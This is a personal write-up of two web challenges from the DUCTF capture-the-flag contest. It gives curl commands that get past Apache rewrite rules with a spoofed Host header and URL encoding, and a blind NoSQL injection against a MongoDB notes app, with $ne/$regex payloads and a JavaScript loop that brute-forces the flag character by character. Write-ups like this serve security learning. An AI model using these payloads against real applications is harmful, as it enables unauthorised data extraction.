1.
Archiving this for the sole purpose to prove I did stuff - The three CTFs I participated in prior to DUCTF were all korean so I didn’t bother writing a writeup. It was my first time playing a CTF in a team, having teammates encouraged me enough to grind more in a CTF where I felt like some challs were way out of my league. DUCTF was a huge event, so kudos to pjsk.
I’ll be skipping some challs and explaining helicoptering, noteworthy.
2. THE CHALLS
- helicoptering
- noteworthy
helicoptering - web
Apache uses a rewriting engine to manipulate requests, about which you can read more here
My approach was to
- bypass the host header as the first condition evaluates %{HTTP_HOST} and denies everything but localhost
- bypass %{THE_REQUEST} value as the second condition evaluates the word “flag”
So the solution would be
$ curl -H "Host:localhost" [site address part one]
$ curl [site address part two]/fl%61g.txt
noteworthy - web
let admin = await User.findOne({ username: 'admin' })
if(!admin) {
admin = new User({ username: 'admin' })
await admin.save()
}
let note = await Note.findOne({ noteId: 1337 })
if(!note) {
const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
await note.save()
admin.notes.push(note)
await admin.save()
}
The flag is in a note which has 1337 for the noteId. So that’s our target..
router.post('/edit', ensureAuthed, async (req, res, next) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
if(!note) {
return next({ message: 'Note does not exist!' })
}
if(note.owner.toString() != req.user.userId.toString()) {
return next({ message: 'You are not the owner of this note!' })
}
let { contents } = req.body
if(!contents || contents.length > 200) {
return next({ message: 'Invalid contents' })
}
contents = contents.toString()
note.contents = contents
await note.save()
return res.json({ success: true, message: 'Note edited.' })
} else {
return next({ message: 'Invalid request' })
}
} catch(e) {
return next({ message: 'Invalid request' })
}
})
After some digging I was able to figure out the code doesn’t filter the query, enabling SQLi. The website used MongoDB which meant NoSQL injection.
router.get('/edit', ensureAuthed, async (req, res) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
if(!note) {
return res.render('error', { isLoggedIn: true, message: 'Note does not exist!' })
}
if(note.owner.toString() != req.user.userId.toString()) {
return res.render('error', { isLoggedIn: true, message: 'You are not the owner of this note!' })
}
res.render('edit', { isLoggedIn: true, noteId: note.noteId, contents: note.contents })
} else {
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
} catch {
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
})
/edit?noteId=192304913
(its a random number) leads to the editing page. It blocks your access if you are not the owner but we’re able to inject payload here; as an example /edit?noteId[$ne]=192304913
Depending on whether the payload is true or false we get the message ‘Note does not exist!’ or ‘You are not the owner of this note!’ - basically enabling blind SQLi.
So my approach would be
- figuring out the length of the content as we know the target noteId
- figuring out the content itself.
/edit?noteId[$eq]=1337&contents[$regex]=.{29}
leads to the message ‘You are not the owner of this note!’, so the flag length is 29
The first script I rushed out didn’t work, so I had to get help. The solution would be something like:
function pwn(params){
var http = new XMLHttpRequest();
var url = "/edit?noteId[$eq]=1337&contents[$regex]=DUCTF{n0sql1_1s_th3_new_"+params;
http.open("GET", url, false);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send();
if(http.response.indexOf("You are not the owner of this note!") != -1){ return true; }
else return false;
}
flag = "";
for(var i=0;i<30;i++){
for(var j=127;j>32;j--){
t = String.fromCharCode(j);
if((t == "#") || (t == "&") || (t == "*") || (t == ".") || (t == ";") || (t == "?") || (t == "|")) continue;
if(pwn(flag+t)==true){ flag += t; console.log(flag); break; }
}
}